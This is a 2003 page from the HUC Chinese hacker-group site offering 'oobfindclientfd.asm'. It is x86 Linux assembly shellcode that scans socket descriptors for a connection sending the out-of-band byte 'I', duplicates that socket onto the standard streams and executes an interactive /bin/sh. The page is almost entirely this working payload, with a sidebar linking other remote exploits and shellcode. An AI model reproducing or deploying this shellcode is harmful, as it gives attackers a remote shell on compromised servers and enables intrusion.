快速通道

文档分类

- 软件作品
- 文档作品
- **代码作品**

<=

推荐作品

- Windows RPC DCOM DoS exploit
- Serv-U FTPD 2.x/3.x/4.x/5.x "MDTM" Command Rem...
- Mysql 3.23.x/4.0.x remote exploit
- download url file shellcode for win2k/xp
- 利用hash值取得函数地址的connect back shellcode.
- 分析理解elf文件并且自动编排shellcode的程序

oobfindclientfd.asm

提交作品： bkbll
提交日期： 2003-07-28
作品属性： 推荐
文档类别： 代码作品
浏览次数： 今1次/总1396次

一段汇编代码,作用是通过OOB数据寻找当前连接的客户端, 然后执行dup2操作,再执行execve /bin/sh, 客户端需要发送OOB数据'I'

```
/* find code asm */
/* sleep(1)*/
.text
.globl _start
_start:
xorl %eax,%eax
pushl %eax
incl %eax
pushl %eax
movl %esp,%ebx
xorl %ecx,%ecx
movb $0xa2,%al
int $0x80
movb $0x09,%cl
movl %ecx,%eax /* <--loop to here */
subl $0x0a,%eax /* eax=edi-10 */
notl %eax /* eax=~eax */
incl %eax /* eax+1 */
movl %eax,%edi
xorl %eax,%eax
incl %eax
decl %esp
movl %esp,%edx /* 存放OOB 数据的地方  */
pushl %eax /* 1 */
pushl %eax /* 1 */
pushl %edx /* &data*/
pushl %edi /* 判断的句柄  */
pushl %ecx /* ecx 入栈  */
leal 4(%esp),%ecx /* socketcall 的arg*/
xorl %ebx,%ebx
movb $0x0a,%bl /* 调用recv */
movb $0x66,%al /* socketcall 调用  */
int $0x80
popl %ecx /* ecx 出栈  */
cmpl $0x01,%eax
jne .+0x07 /* 不相等直接跳转到loop */
/* 相等判断是否位'I' */
cmpb $0x49,(%edx)
je .+0xb /* 相等则直接跳转到dup2这里  */
loop .-0x2c /* 循环  */
```

```
xorl %eax,%eax
incl %eax
movl %eax,%ebx
int $0x80 /* 没有找到,退出 */
/* 这里应该开始dup2 了 */
movl %edi,%ebx
movb $0x03,%cl
movb $0x3f,%al
decl %ecx
int $0x80
incl %ecx
loop .-0x06
/* 开始execve("/bin//sh",argv,NULL) */
pushl %ecx /* argv的NULL */
pushl $0x68732f6e /* n/sh */
pushl $0x69622f2f /* //bi */
movl %esp,%ebx
pushl %ecx
pushl $0x706c692d /* -ilp */
movl %esp,%edx
pushl %ecx
pushl %edx
pushl %ebx
movl %esp,%ecx /* 构造argv */
xorl %edx,%edx /* argenv=NULL */
xorl %eax,%eax
movb $0x0b,%al /* execve 调用 */
int $0x80
```

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net